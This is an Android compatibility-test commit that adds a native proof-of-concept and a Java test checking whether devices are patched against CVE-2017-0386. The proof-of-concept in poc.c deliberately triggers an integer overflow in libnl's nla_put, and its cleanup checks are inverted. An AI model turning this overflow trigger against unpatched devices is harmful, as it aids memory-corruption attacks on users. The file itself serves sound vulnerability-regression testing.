CTS test for android security CVE-2017-0386

Bug: 72495142
Bug: 32255299
Test: cts-tradefed run cts -m CtsSecurityBulletinHostTestCases -t android.security.cts.Poc17_01#testPocCVE_2017_0386
Change-Id: I354be9e8c7002ccf548ff6c34e48309cdafb8db7
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 18db75d..55914c3 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -78,6 +78,7 @@
         <!--__________________-->
         <!-- Bulletin 2017-01 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
 
         <!--__________________-->
         <!-- Bulletin 2017-02 -->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
new file mode 100755
index 0000000..258944f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0386
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := external/libnl/include
+
+LOCAL_SHARED_LIBRARIES := \
+    libnl \
+    libc \
+    liblog \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
new file mode 100755
index 0000000..90f3238
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
@@ -0,0 +1,100 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#define LOG_TAG "CVE-2017-0386"
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <stdio.h>
+#include <log/log.h>
+#include <netlink/msg.h>
+#include <netlink/netlink.h>
+#include <netlink-private/object-api.h>
+#include <netlink-private/types.h>
+#include <netlink/object.h>
+#include <netlink/attr.h>
+
+#include "../includes/common.h"
+
+int main(void) {
+  struct nl_msg *message = NULL;
+  struct nlmsghdr *hdr;
+  char *data = NULL;
+  uint32_t result = 0;
+  int ret = EXIT_SUCCESS;
+  int pagesize = getpagesize();
+  size_t payloadlength = pagesize + 12 - 0x30;
+  size_t payload2length = pagesize;
+
+  message = nlmsg_alloc();
+  if (message == NULL) {
+    ALOGE("Alloc message memory failed");
+    return EXIT_FAILURE;
+  }
+
+  ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
+  hdr = message->nm_nlh;
+
+  //allocate memory for data with payloadlength
+  data = malloc(payloadlength);
+  if (data == NULL) {
+    ALOGE("Alloc data memory failed");
+    nlmsg_free(message);
+    return EXIT_FAILURE;
+  }
+
+  memset(data, 0x41, payloadlength);
+  nla_put(message, 0x4444, payloadlength, data);
+  result = hdr->nlmsg_len;
+  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+  ALOGI("message len = 0x%x", result);
+
+  free(data);
+  data = NULL;
+
+  //allocate memory for data with payload2length
+  data = malloc(payload2length);
+  if (data == NULL) {
+    ALOGE("Alloc data2 memory failed");
+    nlmsg_free(message);
+    return EXIT_FAILURE;
+  }
+  memset(data, 0x33, payload2length);
+  ALOGI("\n\n\nPutting down overflow.......\n\n\n");
+  nla_put(message, 0x8888, 0xFFFFF000, data);
+
+  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+  ALOGI("message len = 0x%x", hdr->nlmsg_len);
+
+  /*
+   * return 113 error code if length is mismatch
+   */
+  if(result != hdr->nlmsg_len) {
+    ret = EXIT_VULNERABLE;
+  }
+
+  if(!data) {
+    free(data);
+    data = NULL;
+  }
+
+  if(!message) {
+    nlmsg_free(message);
+    message = NULL;
+  }
+  return ret;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 629f83f..107ac45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -124,4 +124,12 @@
             assertTrue(!result.equals("Vulnerable"));
         }
     }
+
+    /**
+     *  b/32255299
+     */
+    @SecurityTest(minPatchLevel = "2017-01")
+    public void testPocCVE_2017_0386() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-0386", getDevice(), 60);
+    }
 }